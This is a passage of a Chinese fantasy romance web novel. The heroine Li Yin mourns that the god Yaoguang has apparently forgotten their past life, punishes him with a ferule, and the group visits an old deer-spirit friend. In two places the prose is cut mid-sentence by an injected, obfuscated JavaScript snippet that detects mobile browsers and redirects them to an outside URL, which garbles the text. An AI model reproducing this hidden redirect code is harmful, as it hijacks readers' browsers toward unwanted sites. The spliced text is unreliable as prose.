上一次,他在山顶收敛她的尸骨时,有一大半都被炽火烧得焦黄了,他也没觉得不好看。而现在,这一副骨头,被圣光滋养了几百年,养得莹润白亮,更漂亮了。 一副骨头,他也看出漂亮,告诉阿璃的话,她一定不会相信,还会凶巴巴地揪他的领子或是耳朵,要他保证,以后都不许再看吧。 他伸手,学着今日看见的巫真对她的样子,拿一根手指,轻轻点了下她的额:“不是说这辈子夫妻没当好,下辈子,还要来给我当娘子?” 说着,又点一下:“不是说要我等你,只要我乖乖等你,你就会对我好的。” 结果到头来,她自己根本什么都不记得。 还让别人牵了她的手。 他垂着眼,也去牵她白森森的骨爪。 脑中有很多的画面闪过,但无一例外,都是她和那人牵在一起的手。 有她举着一块小麻糕,看着自己笑,却突然被那人牵走了的。 有她和那人牵着手,慢慢走在月光下的苍梧林间,诉说告白与誓言的。 有今日在榻边,她醒来,那人的手掌紧紧贴覆上她的手背,而她没有一点躲避的。 他捏她的掌心,半晌,闷闷说了句:“骗子。” 145. 第144章 戒尺 听完了陈天财和杨肃的结局之后,桌上的大家又聊了些什么,璃音思绪渐渐昏沉,一句也没再听得进去。 只间或听见几声“夏姑娘”、“夏仙子”的叫唤,她就“嗯”一声应着,抬头,也分不清谁在叫她,随便冲个什么方向,就胡乱笑一下。 竟然是坐在对面的虞宛言,最先察觉到了她的不对劲。 见她笑得像个假人,手里抓着把喝汤用的瓷匙,碗碟里拨弄几下,一舀,就要往嘴里送,虞宛言眉一皱,霍地起身,觑准她的手背,隔着桌子,伸臂就是一打。 咣当—— 璃音手里精致的小瓷勺,被他一个大力打落,掉在了桌上。 勺里的东西顿时翻溅出来,有什么黏糊糊的东西,一下子沾上了她的头颈。 虞宛言见她这副模样,没好气地说她:“你魂丢了?这是蘸酱,不是汤,你往嘴里送个什么劲。” 对面的少女被他一通数落,慢半拍地抬起头来,目光却没个焦点,真失了魂似的,似乎还没反应过来发生了什么事。 闹出的动静不算小,桌上所有声音顿时一停,都向这边望了过来。 虞宛初眼神责怪:“阿言,做什么,是不是欺负夏姑娘。” “我!”一片好心,让那傻子免于被大酱齁死,居然还被阿姐说是欺负她,虞宛言顿时嘴一撇,眉一耷,气不打一处来,“阿姐你是第一天认识她吗,谁能欺负得着她?!” 虞宛初不搭理他的委屈,仍是用眼神警告着:你一个大小伙子,到处欺负人,不像话。 虞宛言有理没处诉,觉得自己本就灰暗的人生,似乎又更灰暗了一点。 “阿横,没事么?” 转头见璃音被溅了一脖子的酱汁,商月一怔之后,有些担忧地微蹙起眉,也没说虞宛言什么,而是掏出一方清秀雪白的帕子,就旁若无人地,去替璃音细细擦拭了起来。 “是不是还没恢复好?”他动作轻柔,嗓音也轻柔,不像虞宛言那硬邦邦的态度,他给出的一切,都像一阵穿竹而过的风,“我就和师姐说,不该任你这么急着下床,幸而我不放心,及时跟来了。” 这语气神态,简直像在照顾一个生活不能自理的三岁小孩。 这一下,原本只是探头望一下动静、就准备收回视线的众人,眼神便不免都被这暧昧亲密的场面粘滞住了。 虞宛言无语了好半晌,看着看着,淡嗤一声,没好气地坐下了。 文昌也坐一旁看着,看得一脸欲言又止:这什么情况?小仙子不和摇光那小子是一对的吗?怎么支着那小子出去跑腿干活,自己却在这里和旁的仙君举止亲密上了? 他心里头又是激动又是打颤:摇光啊摇光,原来你也有当炮灰冤大头的一天! 而如今这事给他撞见了,他又该怎么办? 该打个岔,阻止他们继续打情骂俏吗? 还是该赶紧去给摇光通个气,告诉他,他的小仙子在外被别的俊俏男仙给勾搭了,危,速归? 可这位仙君,手里可也捏着自己和雁儿的秘密呢,想来想去,还是不好得罪。 嗐,俗话说嘛,兄弟如手足,不过手足断了还可再生,老婆要是没了,那可就真没了。 所以兄弟感情的事,还是等他自己去解决吧。 于是文昌默默抿一口酒,经过自己一番“深思熟虑”之后,默默地将目光移开了。 “其实白骨的事有我和神君处理,本不必你劳心,非要自己跑这一趟,你若是觉得累了,不要强撑,我随时带你回去。” 商月说到这句的时候,璃音突然一下子回过了神。 在全桌人各异的围观眼神中,她才猛地反应过来,自己竟在走神间出了糗。 即便知道大家都没有恶意,但璃音还是浑身一个激灵,立马不自在了起来。 丢脸丢脸,真是大大的丢脸! 眼看着商月给她拭完脖子,又要来擦她的脸,璃音忙起手给自己丢了一个净体咒,偏过头,一面推商月坐回去,一面小声和他说:“别弄了,我没事。” 把人推远了些,才又更小声地嘟囔了句:“有事我也可以自己来……” 什么“白骨的事有我和神君处理”,什么“不要强撑”,说得好像她不过下来晃一圈,探了个魂,就随时要晕厥殡天了一样。 璃音捏拳愤愤:都是摇光那家伙的错! 思及此,一双冷眼便如电一般,倏地向身旁的文昌射了过去。 少女回了魂,那眼神要多犀利有多犀利,直把文昌盯得浑身一凉,璃音起身,向他恭恭敬敬一比手:“帝君可有空么,我有些事,想向您单独请教一下。” 小仙子那冷脸一板,看起来就不好惹,文昌哪里敢说没空,立马就干笑着站起身来,和楚雁儿知会了一声,一面心里叫苦,一面拔腿跟着去了。 方才那虞小公子说得很是,就她这样的,她不压迫别人就不错了,到底是谁能欺负得了她啊! 自己堂堂文昌帝君,你看她有一刻把他放在眼里过吗,显然没有! “帝君。”璃音一路把人领至廊下,看离得众人远了,停步回身,开门见山就问:“摇光神君,可曾有过眷侣吗?” 文昌闻言一呆,反应了好半天,才反应出一声:“……啊?” 摇光,眷侣……实在是这两个词猛地被放在一起,太过诡异和陌生了。 眼前的少女还平静地给他解释:“就是结契的伴侣,相好……” “没有没有。” 这些个词汇搭在摇光身上,文昌真是听得莫名起了一身鸡皮疙瘩,损起好友来也是毫不留情:“就他那个脾气,仙子又不是不知道,谁能跟他相好得来。” 说完默默向璃音飘觑一眼,觉得这话你来问我做什么?你俩九百年前都能抱着死在一起了,非要说他和谁相好的话,你自己不知道吗? 璃音低着头沉默了会,慢慢“哦”了一声:“听说他下凡历劫十次,回来后,那些凡间的事,每一次,都被他自己选择遗忘了。” 她抬起脸来:“真是这样吗?” 暮色渐浓,文昌不知是不是自己眼花,他怎么觉得小仙子的眼圈,好像变得有点红红的。 他不禁嗫嚅了下:“……似乎……好像是吧。” 这下他看清楚了,小仙子的眼眶,竟是真的红了! 他惊得“嗳”了一声,忙补救道:“也不是我说怎样就怎样,仙子问的这些话,其实我也说不准。摇光这人最是独来独往,这千万年我看在眼里,旁人的事他从不关心,至于他自己的事,更是从没见他和旁人说过,我也不过和他住得近些,才勉强算有几分交情,所以他那些从不肯对人讲的心思,我又哪里真能晓得,不过也是自己瞎揣摩的罢了。” 璃音静静听完,嗯了声,又顿了会,忽抬脸一笑,道:“我知道了,多谢帝君告知我这些。” 小仙子仍旧笑得清灵可人,但文昌这一次,却是怎么看,怎么心里忐忑:好友盼了千万年才盼来的一个相好,不会被他一句话说错,弄跑了吧! 之前的补救似乎还不大够,他忙又“嗳”一声:“仙子倘如真想知道什么,不若就听我一句,按我这么多年来对他的了解,对他这种人,没必要迂回,直接去问就是。只要他想说的,就一定会说,若是他不想回的,那你就是再问别人,问多少人,也是白问。” 璃音听了,静默了一会,开口时,还是那句:“我知道了。” 能说的都说了,文昌拍拍她的肩,临转身时,还是不放心,又叮嘱一句:“这些话,你得亲自问他,我是觉得,他一定会告诉你的。” “我会的。”璃音轻轻点了点头,“帝君,你先回去吧,我想一个人在这待一会。” 玩什么殉情,殉得轰轰烈烈,完事转头就把人家姑娘忘了个一干二净。事情过去九百年,又巴巴地跟前跟后,整日在人家姑娘屁股后面追着。问他,又说九百年前的事没印象,想不起来,这究竟搞的是哪一出? 文昌看了怏怏的小仙子一眼,着实为好友捏一把汗。 唉,摇光啊摇光,本帝君真尽力了,也只能帮你到这里了! 心底叹一口气,文昌暗暗摇着头,小心轻声踱着步子,慢慢走远了。 昏幽暮色中的连廊,便只剩下了璃音一个人静默站着,一下子就显得得静悄悄、空荡荡的。 璃音往前两步,寻了个木阶,虚掖着膝后的裙摆,慢慢坐了下去。 手肘撑着膝,掌心向上一托,就把自己的下巴搁了上去。 小七,是真的忘记她了吗? 帝君说,这个问题,她该亲自去向摇光问个清楚,可璃音却觉得,没必要了。 天宫一直流传,摇光神君十次历劫,十次皆忘。 今日醒来后,巫真师姐说,与他聊起九百年前的那一次历劫,而在他的记忆中,却并没有在那里见过自己。 入画斗龙那晚,她出画后,曾两次问他,他们的第一次见面是在哪里,他两次都回得很快,他说,他们的初见,是在瑶池宴上。 挂在揽华公主床头的、楚作戎所作的那幅宴饮图上,慕璟明张开落日神弓,向身后顾盼,那时她明明就坐在案前,明明就该出现在慕璟明炽烈的视线中,可她记得,那幅画里,并没有自己。 所有这些,汇集在一起,事实已经相当明确了:摇光神君归位后,选择了抹杀关于她的一切记忆,他不想记得她,也没有记得她。 她这枚“石子”,不是随着岁月流逝,沉了底,而是被他特地挑出来,丢出去了。 所以,何必还要腆着脸再去问呢。 晚风吹了过来,颊上格外的凉,一摸,才发觉眼泪已经不争气地滚了大半张脸。 抓起袖子擦一擦,竟也没觉得这事荒谬。 初时热烈,但会乍然消失,过后再多努力和渴盼都留不住、唤不回、争不赢的感情,多熟悉。 不该拿来类比的,但阿爹对她,不就是这样的吗? 这世上,大多数人的感情,无论亲情、爱情,还是友情,不都是这样的吗? 也没什么新奇。 所以要说特别伤心,好像也没有。 有的只是:哦,原来我们最后,也是这样的啊。 这样一句感慨罢了。 眼泪好像又下来了,也又抓起袖子擦了,她也没空多为个男人伤心,还有更重要的事在她心头压着呢。 她安静坐了一会,阖上眼,细细去感受血脉奔流间,藏在体内深处的那一道魂契。 数息后,少女眉心微蹙,双目猛地睁开,黑静的眼眸中,是一片幽暗的沉晦。 静了几息之后,她重又闭上眼。 “落日,归岚。” 她在神识之中,一遍又一遍地唤着。 可是没有回应。 落日没有给她回应,归岚也没有…… 再睁眼时,她腾地一下起身。 即便落日神弓给不出回应,归岚与她是结了魂契的,天地法则牢不可摧,山海时空皆可跨越,怎么可能会断了感应?! 而在起身时,不知扯动了哪处衣摆,一张皱皱巴巴的小纸条,像一片轻盈的雪花一样,被夜风轻轻卷着,悠悠荡荡地掉了下来。 璃音弯身捡起,展开一看,上面是一行俊逸飞洒的小字:今日抱歉,以后也请多说想我。 她站在微拂着面颊的晚风里,轻轻一怔。 这是她和慕璟明分别三年后重逢,他们在马车里大吵一架,然后慕璟明来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190499|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找她和好时,写给她的一张小纸条。 像是被触动了什么机关,泪水突然决堤一样涌了出来,胸口像被一块巨石压住,她用力喘气,可就是喘不上来。 他抹杀掉的,岂止是她。 他把那个最是满心炽热爱着她的少年,也一起残忍地杀掉了! 她猛然叩动腕间“宇”铃,银光一个闪烁间,便直接闯入了司命殿中,翻找起了各位神君历劫后、便会被仔细封存起来的那些命簿。 找到了! 她急喘着翻开,意料之中,没有她的名字,可翻到这一世的最后,她看见一行冰凉的小字,写着慕璟明的结局—— 武宁侯第七子慕玿,字璟明,生于咸承九年,卒于咸承二十九年,年二十,殉情而死。 这些字很快就在眼前模糊了,她哭得几乎崩溃,司命惊悚地赶来,却只看到一道流光闪出,满架的命簿之中,有一本因放回得急,微微歪了一点。 司命上前,拿起命簿来一看,似乎想起了什么不大愉快的记忆,大摇其头,一面狠狠放回,一面苦哈哈说了句:“又是你!” * 摇光回去紫府的时候,凡间早已夜深。 踏入殿中那一刻,没来由地,忽然心有所感,转身出来,往后院中一看,那一株高高的、坠满了月桂花的树影里面,一道淡青色的身影,正安安静静在那里面躺着。 一边小腿垂下来,却没有晃荡,看来心情不算太好。 不过…… 倒还知道回来。 眉尾不自觉微扬,向前的步子也加快了些。 应该是察觉到了他的脚步声,少女枕在臂上的脑袋微偏,垂侧了眸,一双静如沉渊的眸,向他望了过来。 男人的脚步一顿。 对视间,蓦地,少女身子一晃,竟直挺挺从树上掉了下来! 摇光的识海中,倏然有一处在发烫,而后,一个模糊而奇怪的画面,就在这短暂的一抹灼烫之中掠过:少女从一株覆满寒雪的树枝上坠下,而他在雪地里疾奔过去,接住了她。 只他此刻无暇细想,忙闪身上前,将眼下坠树的少女,稳稳接在了怀中。 真是个爱爬树,更爱掉树的姑娘。 闻到她身上淡淡的酒气,他了然:“喝酒了?” 璃音从男人怀中挣下,只觉得两条腿摇呀晃呀好一阵,等站稳了,才慢吞吞点了下头:“喝了一点点。” 近距离看她,才发现少女的眼皮红肿,眸子更像是被水浸过,她抬眼看他,也一点不遮掩那里面委屈的潮意,她问:“提前走了,为什么不和我说一声。” 摇光认真看她的眼,默然一息,他抬手:“下次不会了。” 他想去拭她的泪,却被她偏过头去,躲开了。 少女转回头来,任由眼睛湿漉漉的,又盯着他问:“那你承认,这件事,是你错了吗?” 他看得心悸:“是我错了。” “好,你承认的,是你错了。” 璃音点头,突然右手一扬,一柄短而厚宽的白玉戒尺,伴着盈盈流转的华光,便凌空出现在了她的掌心之上。 这是她与摇光“结对”为所谓的师生时,玉帝送给她的戒尺。 玉帝把尺子递给她的时候,说的是:“仙子圣女心肠,他不听话时,你就拿这个打他。” 璃音反手覆上,慢慢将这把尺子握住,然后略带冷厉的眸子抬起,看向了身前的男人:“手伸出来。” 摇光自然也记得这把尺子,他眉峰微抬:“老师这是要训诫学生?” “神君招呼也不打一个,突然就那样走了,很没规矩,我很生气。我也想原谅神君,可无论如何,想到这事,就原谅不了。” 被少女握在指间的戒尺缓垂,尺端轻轻勾抵上男人垂在身侧的掌心,然后向上一抬。 “神君只需给我打一下,我就把这件事揭过,原谅神君,从此再不提起,如何?” 戒尺翻覆上来,端头轻蹭着他掌心,像温柔的诱哄:“当然,小仙也不敢胁迫神君,神君不让,小仙不打就是了。” 摇光垂眸,看着手心里不安分的尺,半晌,将手掌向前送了送,抬眼道:“一下够吗?” 戒尺微抬,空出了一段足够下落的距离,璃音笑了笑:“够了。” 尺便随着话音落下,不重,但也不轻,啪的一声,清脆地落在了男人宽大的掌心之上。 细密的淤红,在他透白的皮肤下迅速泛起,璃音垂眼看着,摇光却仍只是看着少女微红的眼,他没有将手收回:“真的够了?” 璃音抬起脸来,扬手,将尺子收回:“够了。” “原谅我了?” 摇光又抬手去拭她的眼尾,这次,少女没有躲开,她笑了笑,说:“原谅你了。” 打一下手心,就当罚过,从此以后,在他心里,他们是所谓的小老师和学生的关系,那就是吧。 而男人看着她这个熟练的笑,手上擦拭的动作,却就此顿住了。 又是那个给守桥人老高的笑。 璃音还在兀自笑着:“你明日有空,再陪我下去见虞姐姐一趟,落日神弓的事,我还没来得及和你们说呢。” “好。” 才刚应了一声,单字的尾音还未散尽,少女已叩动“宇”铃,匆匆留下一句“那就明天见”,便消失在一晃而过的银光之中了。 摇光在月桂树下默然站了一会,长睫淡淡垂下,刚被打过的掌心摊开,一把镶了他本命星石的长命锁,慢慢浮现在了那里。 他开始不确定她会不会喜欢这些了。 还是再等一等,等她对他没那么陌生的时候,这些看来幼稚的礼物,还有那些想说了很久的话,再一起给她吧,他想。 146. 第145章 让她心动 翌日一早,璃音刚要踏出殿门,就被迎面入内的巫真按回了院子里诊脉。 “巫真师姐,我真没事。”璃音无奈,一扯腰间系带,把玉横扯了出来,“有它在,我就是想死都死不了啊。” 可不吗,上一世,她死得那样安详彻底,不管她怎么回到如今这个时空的吧,总归是被这玩意重塑了身躯,又愣给弄活了。 很有说服力。 然而还是吃了巫真师姐一个大大的脑瓜崩:“说的什么话,避谶知不知道。” “还有,别有了玉横就什么都敢托大,处处不当心,就是石头打的身子,那伤在身上的时候,不也一样是伤。”说着开始目眺远方,摇头叹气,“唉,多大人了,还一点不叫人省心,大考的事天天压着,还要为你悬心,我这天生操劳的命啊……” 璃音哪里还敢回嘴,只好耷枯着眉眼,在那里唯唯诺诺点头,保证下次再也不敢了。 商止自己缓拨着轮椅进来,撞见这一幕,不禁失笑。 听巫真提起巫师大考,便清咳一声,顺着话头,拯救了璃音于水火:“阿横不是也要参加明年的大考,怎么样,这些日子下来,准备得如何了?” 准备……那自然是半点没准备的,璃音不免心虚了一下。 但不是她怠懒,实在是重生这半年来,一件件事紧锣密鼓地追得她紧,一会魔龙,一会鬼王的,哪还有工夫顾得上这个。 巫真一看她躲闪的小眼神,就知是懈怠了,立马摆出一副严师的口吻,道:“今天开始,每晚到我殿里来,不修炼满四个时辰,不许回去睡觉。” 完全不容商量的语气。 每晚,四个时辰! 那不本来也没得什么觉睡了吗! 璃音眉眼耷拉得更厉害了,看一眼商止师兄,结果师兄也是一脸爱莫能助。 唉,看来只得乖乖认命了,她有气无力应了声:“是,师姐。” 修炼,她是喜欢的。 可再喜欢的事,一旦被人逼着、拿鞭子在后面抽着赶着去做,她就没那么开心了。 而且…… 在拿到落日神弓之后,她就一直琢磨并修习着后羿神君所说的“神魔互生”之道,这种剑走偏锋的修炼之法,要她当着别人的面去修,除了归岚,她还真有些发怵。 甚至归岚和落日神弓的事,除了已晓得她此去九百年前,就是为取弓的几人,她也没打算让更多人知道。 藏而不露的,才叫底牌。 如今魔龙未知,鬼王不显,昆仑大劫将至,她对敌人所知有限,抢攻不了,那就只能尽力把防御做到极限。 送走巫真师姐和商止师兄,璃音在殿前默站了会,直等师姐推着师兄轮椅的一双身影再瞧不见,才叩动腕间“宇”铃,化作一道流光,消失在了自己的还音殿前。 现在,她该去准备自己的底牌了。 * 今日太阳出得好,紫府里一片清光朗耀,文昌闲坐在好友院中树下,悠悠抿了一口茶。 放下茶盏,他抬眼一瞥石桌对面、明显心不在焉的摇光,嘿笑一声:“话说,你和昆仑山上那位小仙子,到底是怎么个说法?” “什么怎么个说法?”摇光眼皮微掀,淡着眸子看他。 姑娘都快被人撬走了,这愣货还搁这装高冷呢,文昌啧地一声:“人家昆仑的仙子下界履职,有你什么事?巴巴地凑上去,一口一个‘老师’,鞍前马后跟了人家一路,说对人家没点图谋,谁信呢?” 文昌说着反指叩上桌面,笃笃敲了两下,那肢体动作和眼神里,颇带了些恨铁不成钢的意味:“既有图谋,那昨晚和人姑娘招呼也不打一个,就自己走了算什么事?你晓不晓得你走后,月宫里那位仙君,对你的小仙子又是挡风,又是夹菜,又是摸脖子擦脸的,殷勤得很。你看看人家,脸生得俊俏,人还体贴周到,几番温言软语下来,那没经过什么世事的小姑娘,哪个扛得住?” 听到此处,摇光眸色深静下来,幽幽烁动了一下。 文昌说着激动起来,啧啧着将手指向摇光身上点了过去,一脸嫌弃地道:“你再看看你,性格本来就不好,出了名的招人嫌,还不知道努力,哪能讨到姑娘欢心呢。” 上下打量一眼,又大摇着头点评:“姿色嘛,是勉强算有几分,但千万年也不知道捯饬一下,我都看腻了,这走出去,就跟见了自家顿顿吃饭的碗似的,那还能动心吗?” 文昌一顿操碎了心的输出,换来摇光幽瞳森寂、静默深深地盯了自己半晌,他咽了口唾沫,刚想要狠狠叹一口气,对面忽漆目一抬,沉缓地开了口:“让她动心,怎么做。” * 在文昌作为爱情美满的“过来人”的指导下,摇光换了身装扮,重束了冠,一切准备停当,用文昌的话来说,就等小姑娘来接,好好惊艳她一把了。 她约他今日下界,差不多是时候该来了。 然而左等右等,没等来小姑娘惊艳的眼神,甚至压根没等来人,只等来了一张写着地点的请神令。 “神君,伏龙山巅不还债,我和夏姑娘在此专候。” 是虞宛初写的。 摇光盯着那行小字,默然看了半晌,五指一捏,请神令在手心一烫,便引着他向上面填写的地点,疾速坠了过去。 * “买这么多,吃的完吗你?” “你管我。” “你忘了刚才买这些东西,都是谁给你付的钱,我怎么不能管?” “那都是虞姐姐喜欢我,买给我的,你要反对,就是不听虞姐姐的话,是不听话的坏弟弟。” “你!” 摇光还未落地,小寨里,璃音和虞宛言拌嘴的声音,还有虞宛初轻细的笑声,就先热热闹闹地传了过来。 她很早就到了? 迎了几步过去,看见几人正围在院中一座小亭里,亭子中央一张小小的石桌上,摆满了大大小小的油纸包。 璃音正低着头,十个指头欢快地摆弄着,将一包包零嘴分成更小的小份,再一一收进自己的乾坤袋里。 “神君来了。”虞宛初最先注意到有人来了,很知趣地侧身让了让,把璃音身边的位置让了出来。 摇光迈步进亭,看到桌上一包熟悉的炸鱼干,笑了笑,侧头去问身边手上忙活个不停的少女:“出去逛了?” 璃音随口“嗯”了声,头也没抬,继续欢快地收拾着满桌的零嘴。 虞宛初在一旁笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190500|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释:“夏姑娘上次买的那些零嘴,没来得及吃,就先去了九百年前,等回来一看,都坏完了,我和阿言就陪她出去逛了逛,重新买了一些。” 因为要先去买东西,不算公事,所以就没有来接他,和他一起吗? 摇光垂下眼,看少女兀自忙活的手,没有说话。 而璃音收着收着,突然摸到一包什么,她两个指头一捏,把那一个纸袋子挑了出来,看也不看,就向虞宛言扔了过去:“你的。” 虞宛言阴寒着一张脸接过,打开一看,一串糖葫芦,越发没好气:“你当我小孩呢?” 嘴上这样说,还是一挥袖子,往自己的乾坤袋里收着了。 阿姐付的钱,那就是阿姐买给自己的,不接也是便宜了她,当然得自己珍藏好了,回头慢慢品尝。 视线在桌上扫过一圈,摇光也不知自己在期待什么,但等少女利索地收拾完全部,也再没第二个纸袋子扔出来的时候,他还是微敛了下睫。 璃音正把最后一个纸袋往乾坤袋里收,忽然身侧的人一动,一个鼓得十分惹眼的钱袋子,被轻轻搁在了桌上。 然后被男人修白如玉的长指推着,轻轻推去了虞宛初跟前:“叫虞姑娘破费了。” 璃音一愣,不由侧眸。 银冠束袍,熟悉的装扮,一般清凌的眉眼,毫无预兆地撞入她眼中,看得她一阵恍惚,心尖猛地一跳。 少女的眼中藏不住秘密,虽然很快就若无其事地别过了脸,但那一瞬仿佛带着清晰心跳声的停留,还是被男人轻易就捕捉到了。 至少在她眼里,自己是值得她的目光为之停留的。 眼尾轻勾了勾,心绪也随之扬起,看来文昌那“过来人”的经验,终于还是有一点用。 那边虞宛初也正看着被推来面前的钱袋子发愣,神明给凡人的银钱,还这么沉甸甸一大袋……这是可以接的吗?不会折煞什么吧? 幸而这时璃音一把将那钱袋捞了回去,系回了男人腰上:“我买东西,哪有神君给钱的道理。” 系好了,拍一拍,也不看他,就说:“落日神弓我已在九百年前寻到了,但如今召唤出了点问题。我方才和虞姐姐他们商量,打算一会去且生观拜访一下他们的师父,云上真人,我与她九百年前有些交情,她或许能知道些什么。” 果然和云上真人有旧,摇光听着,不算意外,只是垂目看了眼被少女系回来的钱袋子。 自从上次身无分文地与她逛过一次庙会,加之去了一趟三百年前,更是知道了她是个出门从不晓得数银子的大小姐。 这些东西,他就时时替她备着了。 本就是为她准备的而已。 然而,体贴周到,好像也并没有很让她动心。 正迷茫间,文昌今日的一番“谆谆教诲”,就适时在耳边回响了起来:“到时候你就看,是温柔小意更让她心动呢,还是你这人模狗样的脸更让她晃神。若是前者,那你就甭管别的,从今天起,见到她,你就只管嘘寒问暖,卑躬屈膝。那要是后者呢,就更好办了,你就时不时去她面前晃一晃,搔个首,弄个姿,散发一下魅力,注意不管做什么,别丑就行了。” 所以,阿璃喜欢的,是后者? 147. 第146章 故地故人 璃音觉得,今天一整天,摇光都有些奇怪。 “神君身躯伟岸,还是换小仙在前吧,也方便彼此都看清前路。” 四人一行,看虞家姐弟御剑,璃音便又心痒起来。 之前一顿买买买,低落的心情也没能转回多少,便想着不如看看云海、吹吹风,兴许能恢复得快些。 虞宛言照例不肯让她上虞姐姐的剑。 于是蓝芒冷熠,破军被摇光召来了两人身前。 谁让自己没剑呢,也只能与他同乘了。 心底叹一口气,刚要跃上,不料摇光先她一步,长身飞展,负着手,稳稳落上了破军剑身的最前头。 他长那么高,直挺挺一堵背墙挡在自己前面,那还提什么看看云海、吹吹风? 于是便有了先前的那一句。 结果男人不仅不为所动,还回过头来,眉尾轻抬,向她“挑衅”似的一笑,说:“老师不必忧心这个。” 便缓屈起腿,居然就在剑身上,背对着她,悠悠懒懒地坐了下去,说了句:“站稳了。” 说罢,也不等她回应,便剑诀一起,带着她,和剑尾曳出的一道绚目流光,向着高处那一片软白的云海,直直冲了上去。 只留给她一个挺峻梆硬的背影,和一个墨发飞扬的、冷淡潇洒的后脑勺。 璃音:“……” 看着男人流畅完美的身形背影,璃音只觉一口气噎了又噎。 然而人家都坐下了,这下再没挡着自己看风景,她还能说什么? 云间微凉的霜风一吹,眼眶便又发起胀来,她赶紧仰头,把这阵热胀抑下。 习惯了他对自己的任何要求,都无条件说好,不知不觉竟矫情起来了,不过被他驳了一次,带着潮意的酸楚就涌了上来。 幸而摇光神君毕竟对她毫无绮念,上路后只管御剑而行,一次也没想着要回头看她一下,没撞见她这些不想被人看见的样子。 不过…… 有他在前面这样坐着,云海翻叠也再难入眼,璃音便也干脆坐下身来,默默无声地看他宽阔挺拔的后背,看了一路。 一路上,她不禁慨叹,这男人不爱你了,差别还真是明显,先前恨不得时时把她在视线里放着,现在呢,连回头看都懒得看她一眼了。 所以,慨叹过后,她这一路上,目光来来回回在男人后背上扫着,思索最多的,就是他哪一块漂亮的背肌上,最适合盖她踹上去的脚印。 好容易捱到了长云山上,且生观前,下了剑,发觉云海没看着,冷风倒是被吹了一路,心情非但没好,还平添了一股气,变得更差了。 璃音没好气,绕过正动作飘洒、悠悠收剑的摇光,重重蹬着步子,看也不看他一眼,就率先往山门去了。 虞宛初瞧了一路,早瞧出不对来了,迟疑了下,还是向摇光挨近了几步,轻声细语地问道:“神君,你和夏姑娘……吵架了?” 吵架?应该……不算吧。 前方少女步子蹬得飞快,摇光一面提步跟上,一面想了想,说:“是我昨天惹她不高兴,还有些气没消吧。” 虽然嘴上说原谅他了,其实心里还在介意,她生闷气时惯爱口是心非,这一点,没人比他更清楚。 想到这,脚下步子不觉加快,三步两步就赶了上去,向着山门,也陪她快步飞走起来。 ——“你就时不时去她面前晃一晃,搔个首,弄个姿,散发一下魅力,注意不管做什么,别丑就行了。” 文昌说的也不无道理,只跟在身后,她永远看不见他,也不会知道他在。 三百年前的她,就很喜欢抱他,说明这副身子,确尚能入她的眼。 所以,要继续像刚才在剑上那样,多在她面前晃一晃。 多晃一晃,总有哪次,能晃进她眼里。 * 璃音被身边的男人晃得头有点疼。 本来看见他就烦,偏他今天还穿戴了慕璟明惯束的银冠,看在璃音眼里,就更添了几分可恶。 这无情冷心、高高在上的神君,有什么资格,穿得和她心里比世上最珍贵的宝石还要珍贵的少年一样。 嘴角不自觉抿起,璃音看了眼匾上金漆熠熠的“且生观”三个大字,气势汹汹一抬脚,跨了进去。 却不想有个更步履矫快的少年,远远一见着来人,便飞跑着从观中迎了出来,且一路目不旁视,觑准了璃音,小动物似的,微低下头,飞速往她怀里拱了过来! 璃音被这突如其来的热情飞扑惊了一呆,还是身边的摇光眼疾手快,眉心皱起的同时,长臂一伸,便把人在堪堪身前三寸处,拦下了。 少年抬起一双懦懦的鹿眼,本来委屈得都要哭了,一见拦下自己的是摇光,立时眼泪一收,乖乖喊了声:“神君大哥哥。” 摇光很快便认出了那双怯生生的鹿眼。 少年身量又抽高了些,看来这三百年间,修行是不曾懈怠。 于是轻轻向他颔了首。 璃音看得愈发呆住了,她扭头,看向摇光:“你们认识?” 不等摇光回话,少年就在一旁急道:“仙子姐姐,你不记得我了吗?” 他眨巴着一双鹿眼,希冀道:“我小时候,姐姐还天天喂我、抱我的!” 璃音被他说得更加一头雾水,她很确定,自己绝没有过带娃养娃的经验,以后也将坚决杜绝这种可能。 少年见状,急得身形一晃,竟是原地变作一只虎斑小鹿,撒开四腿,便围着璃音一边绕圈,一边呦呦清鸣了起来。 绕着绕着,又开始拿鹿角来顶她的手心,要她来摸他的脑袋。 这下璃音有点眼熟了。 手熟练地摸上小鹿的头顶,又往下挠挠它的下巴,璃音蹲下身子,看着他清亮的鹿眸,宠爱地笑起来:“你长这么大了!” 她怎会不记得,这是九百年前,她在此处的后山林中,从猎鹿人的箭雨中救下,每日给他撒食喂饭,然后带着他去林中散步的小鹿蜀! 璃音回来后第一次,有了自己和之前那个时空之间,有扎扎实实的九百年时光悠悠流逝了的实感。 当年嗷嗷待哺的小鹿蜀,如今竟已化出人形,长成少年模样了。 甚至其实,若按出生年份来算,她竟还是生在这少年鹿蜀后头的,比他要小六百多岁呢,可一番时空倒转,她竟成了他的“姐姐”,多么奇妙。 少年鹿蜀被少女挠着下巴,仰起头,眯了眼,欢快地叫唤了两声,似嫌还不够,忽然重又化出少年的身形,红着脸,一叠声“姐姐姐姐”地叫着,就往璃音怀里偎了过去。 然而,事不如鹿愿,嗷—— 鹿蜀惊叫一声,被旁边的男人面无表情地一提后领,拎着扔去了一旁。 